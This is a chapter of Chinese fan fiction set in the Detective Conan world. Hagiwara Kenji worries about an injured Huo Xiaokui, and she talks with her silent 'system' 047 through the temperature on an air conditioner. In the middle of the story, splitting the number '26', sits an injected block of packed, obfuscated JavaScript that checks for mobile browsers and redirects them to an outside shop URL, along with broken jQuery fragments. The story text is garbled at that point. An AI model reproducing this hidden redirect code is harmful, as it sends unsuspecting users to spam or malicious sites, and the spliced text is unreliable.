萩原研二坐在电车的角落里,单手扶着头顶的横杆。冷白色的荧光灯管在头顶发出细微的电流声,将他那头黑色长发映出一层浅淡的光泽。
那次盗窃案的后续处理比预想中更为繁琐。整整三天,他都在各个分局和现场勘查点之间来回奔波。
可即便如此,霍小葵脖子上的伤口始终在他脑海里挥之不去。
只是不到一厘米的刀口,却像一根细长的红线,占据在他的思绪里。
他本该第一时间就去看她。可案子的收尾工作远比想象中拖沓,证据链的梳理、证人的笔录、还有那几个狡猾的惯犯……每一项都需要他亲自过目。等他把所有文书工作处理完毕,抬头看向墙上的时钟时,时针已经地指向了新的数字。
凌晨两点。
这个时间点,无论怎么想,都不适合去敲一个单身女性的房门,更别提她身上还带着伤。
于是,连续三天,他都在下班后第一时间赶到她的公寓楼下。
第一天,三楼的灯光暗着。第二天,依旧无人应答。第三天,也就是今天,他提前结束了手头的工作,可回应他的,依旧是一片死寂。
她又去做她的‘游戏任务’了。
想到这里,萩原研二那双总是含着笑意的眼眸,此刻微微蹙起。
好在,他多停留了一会儿,还是等到她了。
见她,当然要走快点。
可她这次的任务,又是很危险的,旧伤刚好就又添新的。
她的黑发发根才长出那么一点点,她低头时露出的后颈处,那抹新生的黑色在阳光下显得格外扎眼。
这个时候的她,好像还没打通那次支线任务……
可偏偏就是这个时候,她竟也默许了他接近。默许了他帮她换药、包扎、甚至……像刚才那样纵容他在她的掌心画圆。
萩原研二闭上眼,脑海中不由自主地闪过霍小葵下意识躲开他伸过去的手的那一幕。
她的身体向后缩了缩,幅度很小。但萩原研二捕捉到了。他总是能敏锐地捕捉到她身上最细微的变化,就像他总能分辨不同汽车的马达轰鸣声一样。
她在怕什么……
是她的拓展任务才做完,精神状态还没恢复么……
也许,她正处于某种极度的疲惫中,任何突如其来的触碰,都会引发本能的防御反应。
萩原研二睁开眼,长长的睫毛在眼下投出一小片扇形的阴影。他抬起手,用手指轻轻按了按自己的眉心,试图驱散连日奔波带来的倦意。
车窗外的景色飞速后退,霓虹灯的光斑在玻璃上拖曳出长长的彩色轨迹。电车减速,进站,车门打开的瞬间,涌入一股潮湿的夜风和站台特有的广播声。
神奈川,到了。
萩原研二站起身,迈着修长的双腿走下车厢。站台上人烟稀少,只有自动贩卖机发出规律的嗡嗡声。他顺着人行道不紧不慢地走着,皮鞋踩在略显陈旧的石板路上,发出清脆的叩击声。
慢活网咖那盏熟悉的带着几分复古气息的暖黄色招牌,在前方不远处亮着。
他停下脚步,推开了那扇玻璃门。
"来啦。"星野桃子从前台后面抬起头,看到萩原研二,她露出一个温和的笑容,放下手里的计算机。
“香草牛奶还有吗?”萩原研二自然地坐在那张布艺沙发上。
“有的。”星野桃子转身去准备饮品。
萩原研二随手拿起吧台上放着的一本杂志,是最新的《Option》。封面上是改装赛车的炫酷照片,但他只是翻了几页,目光就有点涣散。
"给,热的香草牛奶。"星野桃子将一杯冒着热气的饮品推到他面前,杯壁上凝结着细小的水珠,"还有这个,《HyperRev》的新刊今天刚到货,你来的倒也巧。"
"唔哇!太好了。"萩原研二接过杂志,眼睛微微一亮,"最近店里怎么样?"
"跟往常一样,多亏了你跟千速常来。"星野桃子笑了笑,倚在前台边,双手交叉放在身前。
这几年,他和姐姐只要有空就会过来坐坐。之前几个地痞流氓来找事儿,被他和姐姐联手劝退之后,这里的经营状态确实好了很多。
"葵酱来过没有?"萩原研二端起香草牛奶,温热的液体通过杯壁传递到掌心。
"没呢,有段时间没来了。"星野桃子摇了摇头。
“嗯……”
萩原研二低下头,看着杯中奶白色液体,他喝了一口,香草的甜香在舌尖化开,温热顺着食道一路向下,熨帖了胃部因连日奔波而产生的不适感。
窗外的天色已经完全暗了下来。路灯将橘黄色的光投射在湿漉漉的人行道上,映出他模糊的倒影。
306公寓内。
霍小葵趴在卧室的床上,脸颊贴着棉质的枕巾。托了右臂吊着三角巾的福,她这些天只能维持这个姿势睡觉。肩关节处的喵骨膏药散发着淡淡的草药气息,混合着被褥上洗涤剂的清香,在狭小的空间里缓缓弥散。
刚刚热敷完,她甚至还没来得及把热水袋从被窝里拿出来。此刻,她只是把下巴搁在交叠的手背上,看着床单上棉布纤维的细微纹路发呆。
那些纹路在昏暗的床头灯光下,呈现出一种深浅不一的色调。她的视线沿着一条较长的纤维缓缓移动,思绪却早已飘到了九霄云外。
奇怪。
很奇怪。
自从换了那副喵骨膏药之后,肩关节和左膝的痛感竟然削弱了很多。不仅如此,身体其他部位的舒适度也提升了不少,就好像……就好像熬了三个大夜之后,一觉睡了整整二十个小时一样爽!
霍小葵微微偏过头,看了一眼卧室墙上的空调。液晶显示屏上,红色的数字清晰地跳动着,26℃。
刚刚萩原研二在,她还没来得及问。
【047,是你吗?是的话你把空调调成25度。】她在脑内无声地呼唤。
没有回应,一如既往的沉默。
但她还是盯着那个数字。
嘀——
显示屏上的数字突然跳动了一下。
25℃。
霍小葵的瞳孔骤然放大,原本有些涣散的眼神瞬间聚焦。她猛地撑起上半身,牵扯到右肩的伤处,一阵钝痛传来,但她完全顾不上了。
"哇哦,笔仙吗?还是海龟汤?"她脱口而出,语气里是掩饰不住的雀跃。
空调上的数字又跳动了一下。
20℃。
冷风从出风口吹出来,让她裸露在被子外面的左臂泛起一层细小的鸡皮疙瘩。紧接着,数字又跳了一下。
2
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578999|204595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
6℃。
回到了原来的设定温度。
20……
她的指尖不自觉地在床单上写了一遍这个数字。
20……NO……?
【你的意思是你是047,不是笔仙,也没有在玩海龟汤,对嘛?】她歪了歪头,金色的长发从肩头滑落,在枕头上铺散开来。
她紧紧盯着空调的显示屏。那个数字26闪烁了两下,短暂地变成了20,然后又固执地跳回了26℃。
【双重否定表肯定,对吧。】
她刚在脑海里确认完这个念头,空调就又闪了一下20℃,然后再次变回了26℃。
【那我要找你算账了,这副扑克牌,怎么回事?】她皱了皱鼻子,有些不满,眉眼还是掩饰不住的笑意。
她从系统空间里取出那副扑克牌。这是上一个打卡任务的奖励,如此朴实无华。她甚至每一张都仔细查看过,就连装牌的纸盒也翻来覆去地看了又看,没有任何发现。
就这么一副牌。
就这么一个破任务。
让她在那该死的不稳定的公寓时间里来回穿梭!
这次,她没有等到系统操控空调的回应。
【不说话了?】霍小葵有些泄气地叹了口气,随手从牌盒里抽出一张。
黑桃K。
印刷精美,色彩饱和,以色列国王大卫的侧面像被精细地呈现在小小的纸牌上。而黑桃往往代表军事和武力。
这张黑桃K能让她增长武力么……
嘀——
空调短暂地跳到了20℃,然后又变回了26℃。
【不会?不知道?】霍小葵放下黑桃K,又叹了一口气。
她又怎么会真的怪047?只是这么多天没听到它的声音想发发牢骚而已。
【你什么时候才能变回之前的样子?】
数字又闪烁一下。
霍小葵看着空调显示的数字,挑了挑眉。
就在这时,放在枕头边的手机突然振动起来。屏幕亮起,依旧是那个陌生号码。
她解屏一看,是一条短信:
【完成的不错,葵。】
霍小葵的手指僵在了半空中。
这样叫她……
她盯着那行字,瞳孔微微收缩。
难道之前她的猜想错了?这个号码不是波特的?是贝尔摩德的?
冲矢昴已经是东都大学的学生了,那贝尔摩德肯定已经认定她的Angela,如果号码是贝尔摩德的……她……对她算是什么?
且这个时间线里……琴酒貌似要杀她……
可琴酒捉老鼠不是直接开枪么,掐她脖算什么?!就因为她不愿意见那位大人?呃……间接导致琴酒的爱车被撞?可那又不是她做的!
好复杂……
原本手握剧本的应该是她啊!怎么、怎么变成这样了……
霍小葵烦躁地抓了抓头发,眉头紧皱成一团。
手机屏幕的微光映在她琥珀色的瞳孔里,忽明忽暗,就像她此刻纷乱如麻的心绪。
她看着这串号码,一遍遍默念。
窗外,夜色正浓。空调安静地吹着26度的暖风,那副扑克牌散落在枕边,在昏暗的灯光下,像是已经用花色和数字分割好了她的‘游戏任务’。